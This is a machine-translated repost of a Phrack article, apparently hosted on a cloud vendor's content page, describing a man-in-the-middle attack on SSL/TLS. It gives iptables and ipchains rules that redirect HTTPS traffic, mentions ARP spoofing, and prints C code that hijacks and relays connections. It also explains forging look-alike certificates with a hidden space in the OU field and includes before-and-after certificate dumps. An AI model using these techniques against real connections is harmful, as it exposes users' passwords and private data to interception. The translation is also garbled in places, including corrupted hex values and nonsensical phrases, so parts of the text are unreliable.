SSL mitm attack (zt)

Source: Internet
Author: User
Tags modulus openssl x509 ssl connection mitm attack
Introduction
  
The current version of SSLv3 is version 3.1, also known as TLS. It provides a mechanism for secure data transmission over the network. It is said to meet all security needs, such as your bank account management.
  
But here I will tell you that this is actually impossible.
  
In this article, I will first introduce SSL, which is very important. However, we will not introduce deep issues such as how SSL is connected. If you are interested, please refer to the reference materials.
  
  
  
1. Why is SSL used?
  
  
SSL is designed for the following purposes in network data transmission:
  
  
  
Confidentiality
  
This is achieved through data encryption. When performing an SSL handshake, SSL selects a symmetric algorithm to encrypt the data before transmitting data on the network. There are many encryption algorithms used by SSL. If an algorithm is identified by a new network attack method, you only need to select another algorithm.
  
  
Message Integrity
  
SSL uses a robust message authentication code, such as SHA-1, which is placed at the back of the data packet and encrypted with the data. In this way, if the data is modified, the hash value cannot match the original verification code to detect whether the data is modified. Mac is also used to protect SSL connections from interference.
  
  
  
Replay-Attack)
  
SSL uses serial numbers to protect the communication party from packet replay attacks. This serial number is encrypted and serves as the load of the data packet. In the entire SSL handshake, there is a unique random number to mark the SSL handshake, so that the replay can be multiplied.
  
  
Protects against recorder attacks (reorder-attack)
  
The serial number mentioned above can also prevent attackers from recording data packets and sending them in different order.
  
  
  
Endpoint Verification
  
Use an X509 (current version is 3) certificate. SSL supports client and server verification. For more information about server connections, see.
  
  
This may sound safe, but after reading the program described in this article, I don't think so. (However, we cannot break client verification)
  
Using the attack method described in this article, we can see all the plaintext data on the SSL connection, modify the transmitted data according to our needs, and relay and send the data, send or even discard messages in the wrong order. This attack method is called man in the middle attack or man in the middle attack ).
  
  
  
2. X509 Digital Certificate
  
  
X509 digital certificate is an integral part of SSL. During the SSL handshake, the server sends its own digital certificate to the customer. An X509 digital certificate includes the issuer's recognition name (distinguished name), the subject's recognition name, a version number and serial number, the selected algorithm, and the key validity period, there is also the public key of the subject.
  
The subject is the name of the certificate containing the entity. The public key in the certificate belongs to the subject ). In common X509 digital certificates, there is no domain that indicates the DNS name. Generally, the CN Domain is reflected as the DNS name, but this is only a protocol that must be recognized by both the client and the digital certificate entity.
  
The issuer uses its own private key to issue this digital certificate. It is called the digital certificate Center (CA ).
  
Let's look at an X509 digital certificate:
  
  
Stealth @ LYDIA: sslmim>./CF segfault.net 443 | OpenSSL X509-Text
Certificate:
Data:
Version: 1 (0x0)
Serial number: 1 (0x1)
Signature Algorithm: md5withrsaencryption
Issuer: c = Eu, St = segfault, L = segfault,
O = www.segfault.net/email?crew@segfault.net
Validity
Not before: Nov 19 01:57:27 2000 GMT
Not after: Apr 5 01:57:27 2028 GMT
Subject: c = Eu, St = segfault, L = segfault, O = www.segfault.net,
CN = www.segfault.net/email?crew@segfault.net
Subject Public Key info:
Public Key algorithm: rsaencryption
RSA public key: (1024 bit)
Modulus (1024 bit ):
00: CD: 64: 2a: 97: 26: 7A: 9B: 5C: 52: 5E: 9C: 9e: B3: A2:
E5: F5: 0f: 99: 08: 57: 1b: 68: 3C: DD: 22: 36: C9: 01: 05:
E1: E5: A4: 40: 5E: 91: 35: 8e: da: 8f: 69: A5: 62: Cf: CD:
70: DC: CA: D2: D7: 92: 03: 5C: 39: 2a: 6d: 02: 68: 91: B9:
0d: D1: 2C: C7: 88: CB: ad: Be: CC: E2: Fa: 03: 55: A1: 25:
47: 15: 35: 8c: D9: 78: EF: 9f: 6a: F6: 5f: E6: 9A: 02: 12:
A3: C2: B8: 6a: 32: 0f: 1D: 9d: 7b: 2f: 65: 90: 4E: CA: F7:
A0: e4: AE: 55: 91: 09: e4: 6e: 01: E3: D1: 71: 1E: 60: B1:
83: 88: 8f: C4: 6a: 8c: BB: 26: FD
Exponent: 65537 (0x10001)
Signature Algorithm: md5withrsaencryption
7D: C7: 43: C3: 71: 02: C8: 2f: 8c: 76: 9C: F3: 45: 4C: Cf: 6d: 21: 5D:
E3: 8f: AF: 8f: E0: 2E: 3A: C8: 53: 36: 6B: Cf: F6: 27: 01: F0: ED: EE:
42: 78: 20: 3D: 7f: E3: 55: 1f: 8e: F2: A0: 8e: 1A: 1b: E0: 76: AD: 3E:
A0: FC: 5b: Ce: A6: C4: 32: 7b: 64: F2: A4: 0f: A3: Be: A1: 0e: A7: CA:
ED: 67: 39: 07: 65: 6B: CC: E7: 5A: 9A: B0: 3A: F3: 5C: 1A: 18: D4: DD:
8c: 8d: 5A: 9e: A0: 63: E0: 7d: AF: 7c: 97: 7c: 89: 17: 0f: 25: 2f: A7:
80: D3: 02: DC: 88: 7A: 12: 64: EC: 8A: FF: e4: 62: 92: 2E: 7f: 75: 03:
82: F1
  
  
Key points:
  
  
Issuer: c = Eu, St = segfault, L = segfault,
O = www.segfault.net/email?crew@segfault.net
  
  
C, St, L, O, and email constitute the issuer's Identification name (distinguished name, DN ).
  
  
Subject: c = Eu, St = segfault, L = segfault, O = www.segfault.net,
CN = www.segfault.net/email?crew@segfault.net
  
  
A certificate can be issued by a public CA or by itself (the so-called self-issuing certificate ). In this example, the certificate is issued by yourself.
  
This is an unblocked original digital certificate. Next we will look at what it looks like if someone intercepts the connection.
  
This certificate is exchanged during the SSL handshake when your browser connects to the https://segfault.net. The Public Key saved in the certificate is used for session encryption.
  
To ensure the security of the pretty good layer, the certificate should be issued by a Ca (yourself or a public CA). The customer has the CA Public Key to check the validity of the certificate. If the customer does not have the CA Public Key, the browser will prompt the user to accept or reject the certificate. This is required for interactive client programs, but in fact, for certificates issued by too many sites, the customer does not have their public key to check the validity of the certificate. For common interactive client programs (such as the Netscape browser), this situation may cause the SSL connection to become meaningless.
  
  
  
3. Interception
  
  
To sum up, X509 digital certificate is an important part of SSL. Its task is to ensure the session between the customer and the server, and the key it uses is correct.
  
Now, imagine how we disguise a certificate and forward an SSL connection.
  
This is worth a try. Our motto is "teile und herrsche (which country is English ?)", Here we must solve two problems:
  
  
  
A. hijack the connection and forward it.
  
  
B. forge a digital certificate so that the customer can communicate with the real server.
  
  
A + B is generally called man in the middle attack. In theory, X509 should be able to prevent this attack, but the certificate check method adopted by common interactive client programs (such as the Netscape browser) makes this attack a good choice.
  
The first problem is well solved. If we are located between the customer and the server, we only need to slightly apply the subtotal (preferably on Linux or BSD) on our firewall to redirect the connection, in addition, we call our program MIMD. For Linux-2.2.x (ipchains) Kernels, use the following rules to intercept HTTPS packets and import them into the input chain:
  
  
Ipchains-A input-s 0/0-D 0/0 443-J redirect 10000-P TCP
  
  
For the Linux-2.4.x kernel (iptables), you can use the following rules:
  
  
Iptables-T Nat-A output-p tcp -- Sport 1000:3000-dport 443-j redirect -- to-port 10000
  
  
To provide the source port of the SSL client, if we ignore this, the mimid will enter an infinite loop (iptables will redirect the redirected traffic ). The MIMD is bound to port 8888. It does not match this rule. Your physical location does not have to be in the middle of the SSL connection. It is enough to be in the server LAN or the client LAN. Using ARP fraud can accomplish this well, and even firewall rules do not have to be modified.
  
With these redirection rules, we can start to build the tool. You can use the API of the operating system to find the target address (getsockopt ()). The ns_socket: dstaddr () function in this tool can be compiled successfully in most operating systems. Using this applet, we can see the connected data.
  
To enable this applet to see the plaintext data of the connection, we need to use ssl_accpet () and ssl_connect () calls. First, we need to call (accept () to accept the connection of the client program, and then use ssl_connect () to initiate a connection request to the Real Server. Then, execute the real ssl_accept (). Suppose we have completed the initialization, such as loading the key file. At this time, the client program (such as a browser) will ask the user whether to accept the certificate of this tool.
  
However, the user can easily recognize that the certificate is forged, because when he browses Company A's website, he receives the certificate from Company B or the person on the way, which will inevitably lead to his suspicion.
  
Next we will solve this problem. The sequence of ssl_connect () and ssl_accept () should be correct and I will explain it.
  
  
  
4. DCA
  
  
If the user accepts forged certificates, we can use ssl_read () to read the plaintext data of the connection and use ssl_write () to forward them to the real server. Now we are working on how to forge a certificate.
  
Remember: ssl_connect () must be called before ssl_accept (), so that the server can treat us as legal users and perform a normal SSL handshake with us so that we can get the server certificate.
  
Let's take a look at the actual code:
  
  
// Blocking, waiting for the connection hijacked by iptables
While (AFD = accept (SFD, (sockaddr *) & from, & socksize)> = 0 ){
  
// Obtain the real connection
// Destination Address
If (ns_socket: dstaddr (AFD, & DST) <0 ){
Log (ns_socket: Why ());
Die (null );
}
  
...
  
++ I; // a global variable records the number of hijacked connections
If (Fork () = 0) {// fork generates a process and the child process processes the hijacked connection. The parent process continues to wait for the connection.
  
// Become a target server customer
If (sfd2 = socket (pf_inet, sock_stream, 0) <0 ){
Log ("Main: socket ");
Die (null );
}
  
  
If (ns_socket: bind_local (sfd2, 8888 + I, 0) <0 ){
Log (ns_socket: Why ());
Die (null );
} // Bind the socket to the local port to process multiple connections at the same time
  
  
// Initiate a connection to the Real Server
If (connect (sfd2, (struct sockaddr *) & DST,
Sizeof (DST) <0 ){
Log ("Main: connect ");
Die (null );
}
  
...
  
Client-> Start ();
Client-> fileno (sfd2); // use sfd2 to connect to the Real Server
  
// Perform an SSL handshake to establish an SSL connection
If (client-> connect () <0 ){
Log ("clientside handshake failed. Aborting .");
Die (null );
}
  
  
Now, the SSL handshake between us and the real server has been completed. Note: In the source code, both ssl_connect () and ssl_accept () functions are encapsulated into the client and server objects. Now, we can prepare ourselves as the connection between the SSL server and the ssl client:
  
  
// Server
  
Server-> Start (); // create an SSL object
Server-> fileno (AFD); // use the AFD socket to accept the Client Connection
  
  
We perform real forgery and call ssl_accept ():
  
  
If (enable_dca)
Ns_dca: do_dca (client, server );
  
  
The dynamic certificate Assembly function do_dca () performs the following tasks:
  
  
Give a certificate that is almost blank (except for the CDomain, all other rdn is blank), do_dca () uses the content obtained from the SSL handshake with the server to fill the remaining rdn domain. We extract L, St, O, CN, ou, and email domains, place them in our own certificates, and then display the certificates to SSL customers. To do this, do_dca () uses String Parsing (extracting rdn domains) and calls the Using X509 _ () function provided by OpenSSL.
  
Enter a space in the ou domain (organizationalunit, which was originally empty) of the Certificate Issuer. This space is not displayed in the SSL client program window, however, the forged new certificate and the certificate from the public CA can be differentiated. When the forged certificate arrives at the ssl client program, the client program will prompt the user whether to receive the certificate. The user sees that the certificate comes from a known trusted Ca (in fact, ou domain has an extra space, but the user cannot see it). For the ssl client program, it knows that the certificate is not from the CA that the user sees (a space difference ), therefore, if the public key of the CA is not found, the user is prompted to determine whether to accept the certificate. At this time, fooled users generally accept this certificate.
  
Now we can modify the subject domain (CN...) of the issuer and convert the previous X509 Certificate into self-signed certificate. The user cannot know that the self-issued certificate is forged.
  
  
Then, the re-assembled certificate is displayed to the customer:
  
  
// Do SSL handshake as fake-Server
If (server-> Accept () <0 ){
Log ("serverside handshake failed. Aborting .");
Die (null );
}
  
Ssl_forward (client, server );
  
  
The ssl_forward () function only calls the ssl_read/ssl_write function cyclically to record transmitted plaintext data. We can also modify the transmitted data as needed.
  
After MIMD is activated (the-I option is not used), we use CF to retrieve the X509 Certificate from the https server:
  
  
Stealth @ LYDIA: sslmim>./CF segfault.net 443 | OpenSSL X509-Text
Certificate:
Data:
Version: 3 (0x2)
Serial number: 1 (0x1)
Signature Algorithm: md5withrsaencryption
Issuer: c = us, c = Eu, St = segfault, L = segfault,
O = www.segfault.net, ou =/Email = crew@segfault.net
Validity
Not before: Mar 20 13:42:12 2001 GMT
Not after: Mar 20 13:42:12 2002 GMT
Subject: c = us, c = Eu, St = segfault, L = segfault, O = www.segfault.net,
CN = www.segfault.net/email?crew@segfault.net
Subject Public Key info:
Public Key algorithm: rsaencryption
RSA public key: (1024 bit)
Modulus (1024 bit ):
00: D4: 4f: 57: 29: 2C: A0: 5D: 2D: AF: Ea: 09: D6: 75: A3:
E5: B6: DB: 41: D7: 7f: B7: da: 52: AF: D1: A7: B8: BB: 51:
94: 75: 8d: D4: C4: 88: 3f: BF: 94: B1: A9: 9A: F8: 55: AA:
0d: 11: D6: 8f: 8c: 8B: 5b: B5: DB: 03: 18: 7e: 7A: D7: 3B:
B0: 24: A9: D6: BA: 9A: A7: BB: 9B: BA: 78: 50: 65: 4b: 21:
94: 6f: 83: D4: de: 16: e4: 8B: 03: F2: 97: F0: 0b: 9B: 55:
ED: AA: D2: C3: EE: 66: 55: 10: BA: 59: 4d: F0: 9d: 4E: D4:
B5: 52: FF: 8c: D9: 75: C2: AE: 49: Be: 63: 57: B9: 48: 36:
CA: C2: 07: 9d: BA: 32: FF: D6: E7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
4A: 2C: 50: 3A: 50: 4E: 96: 3D: E6: C7: 4E: E8: c2f: 41: F0: 0a: 26: f0d
X509v3 Authority Key Identifier:
Keyid: 4A: 2C: 50: 3A: 50: 4E: 96: 3D: E6: C7: 4E: E8: c2f: 41: F0: 0a: 26: f0d
Dirname:/C = us
Serial: 00
  
X509v3 basic constraints:
CA: True
Signature Algorithm: md5withrsaencryption
B7: 7d: 5A: C7: 73: 19: 66: AA: 89: 25: 7c: F6: BC: FD: 7d: 82: 1A: D0:
AC: 76: 93: 72: DB: 2D: F6: 3B: E0: 88: 5f: 1D: 6e: 7c: 25: D7: A2: de:
86: 28: 38: 90: Cf: Fe: 38: A0: 1f: 67: 87: 37: 8B: 2C: F8: 65: 57: de:
D1: 4C: 67: 55: AF: CA: 4C: AE: 7b: 13: F2: 6f: B6: 64: F6: AA: 7f: 28:
8b: 2f: 21: 07: 8f: 6d: 7e: 0C: 3f: 17: B1: 69: 3A: Ea: C0: FB: A2: AA:
F9: D6: A6: 05: 6d: 77: E1: E6: F0: 12: A3: E6: CA: 2a: 73: 33: F2: 91:
E1: 72: C8: 83: 84: 48: Fa: Fe: 98: 6C: D4: 5A: AB: 98: B2: 2E: 3C: 8A:
EB: F2
  
  
Compare the two certificates before and after activating MIMD. You can find that the public keys of the two certificates are different. The public keys of the subsequent certificates are actually MIMD's own public keys. The CDomain contains US and EU, which are displayed in the Netscape browser, which is no different from the original certificate. Have you noticed the ou domain of this certificate? The original certificate does not have this domain, and the new certificate contains a space. The issuer information of the new certificate is from the original digital certificate. This certificate is no longer issued by a public CA, but a self-signed certificate.
  
Next we use the-I option to restart MIMD. This time we use the subject of the intercepted certificate to fill in the issuer of the forged certificate, so that the forged certificate becomes a self-issued certificate.
  
  
Stealth @ LYDIA: sslmim>./CF segfault.net 443 | OpenSSL X509-Text
Certificate:
Data:
Version: 3 (0x2)
Serial number: 1 (0x1)
Signature Algorithm: md5withrsaencryption
Issuer: c = us, c = Eu, St = segfault, L = segfault,
O = www.segfault.net, ou =, Cn = www.segfault.net/email?crew@segfault.net
Validity
Not before: Mar 20 13:42:12 2001 GMT
Not after: Mar 20 13:42:12 2002 GMT
Subject: c = us, c = Eu, St = segfault, L = segfault, O = www.segfault.net,
CN = www.segfault.net/email?crew@segfault.net
Subject Public Key info:
Public Key algorithm: rsaencryption
RSA public key: (1024 bit)
Modulus (1024 bit ):
00: D4: 4f: 57: 29: 2C: A0: 5D: 2D: AF: Ea: 09: D6: 75: A3:
E5: B6: DB: 41: D7: 7f: B7: da: 52: AF: D1: A7: B8: BB: 51:
94: 75: 8d: D4: C4: 88: 3f: BF: 94: B1: A9: 9A: F8: 55: AA:
0d: 11: D6: 8f: 8c: 8B: 5b: B5: DB: 03: 18: 7e: 7A: D7: 3B:
B0: 24: A9: D6: BA: 9A: A7: BB: 9B: BA: 78: 50: 65: 4b: 21:
94: 6f: 83: D4: de: 16: e4: 8B: 03: F2: 97: F0: 0b: 9B: 55:
ED: AA: D2: C3: EE: 66: 55: 10: BA: 59: 4d: F0: 9d: 4E: D4:
B5: 52: FF: 8c: D9: 75: C2: AE: 49: Be: 63: 57: B9: 48: 36:
CA: C2: 07: 9d: BA: 32: FF: D6: E7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
4A: 2C: 50: 3A: 50: 4E: 96: 3D: E6: C7: 4E: E8: c2f: 41: F0: 0a: 26: f0d
X509v3 Authority Key Identifier:
Keyid: 4A: 2C: 50: 3A: 50: 4E: 96: 3D: E6: C7: 4E: E8: c2f: 41: F0: 0a: 26: f0d
Dirname:/C = us
Serial: 00
  
X509v3 basic constraints:
CA: True
Signature Algorithm: md5withrsaencryption
B7: 7d: 5A: C7: 73: 19: 66: AA: 89: 25: 7c: F6: BC: FD: 7d: 82: 1A: D0:
AC: 76: 93: 72: DB: 2D: F6: 3B: E0: 88: 5f: 1D: 6e: 7c: 25: D7: A2: de:
86: 28: 38: 90: Cf: Fe: 38: A0: 1f: 67: 87: 37: 8B: 2C: F8: 65: 57: de:
D1: 4C: 67: 55: AF: CA: 4C: AE: 7b: 13: F2: 6f: B6: 64: F6: AA: 7f: 28:
8b: 2f: 21: 07: 8f: 6d: 7e: 0C: 3f: 17: B1: 69: 3A: Ea: C0: FB: A2: AA:
F9: D6: A6: 05: 6d: 77: E1: E6: F0: 12: A3: E6: CA: 2a: 73: 33: F2: 91:
E1: 72: C8: 83: 84: 48: Fa: Fe: 98: 6C: D4: 5A: AB: 98: B2: 2E: 3C: 8A:
EB: F2
  
  
Comparing these two forged certificates, you will find that the following issuer contains the CN domain, in order to enhance the counterfeit effect.
  
  
  
Conclusion
  
  
To sum up, users who use interactive client programs to surf the network cannot know that they are being attacked because they cannot tell the company to use an unknown Ca (company uses unknown CA) is it true that you have been attacked on the way. Moreover, even if he has browsed this site and saved its digital certificate before, he may still fall into the trap (Do you still remember the spaces in the ou Domain ?). For some police users, converting forged certificates into self-issued certificates will dispel their doubts.
  
This article uses separate-ports to disconnect the SSL connection, but in one case (Upward Negotiation) cannot use MIMD. SSL uses a keyword to convert the plain text data stream into an SSL data stream. This problem may be solved using msg_peek. They (the author) are studying it.
  
  
  
Reference
  
  
[1] "SSL and TLS" designing and building secure systems
Eric rescorla, aw 2001.
  
A 'ust-read' if you want/need to know how SSL works.
  
[2] "Angewandte kryptographie"
Bruce Schneier, aw 1996
  
The book for crypto-geeks. I read the German version,
In English its 'applied cryptograph'
  
[2] various OpenSSL C-files and manpages
  
[3] http://www.cs.uni-potsdam.de/homepages/students/linuxer/sslmim.tar.gz
A dca implementation, described in this article;
Also contains 'cf 'tool.
  
[4] in case you cannot try MIMD on your local box, View
A snapshot from a mim-ed session provided by Teso:
Http://www.team-teso.net/ssl-security.png
  
  
Source: haaaang on Snoopy, Snoopy hang on. (SSL for fun and profit) phrack volume 0x0b, issue 0x39

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.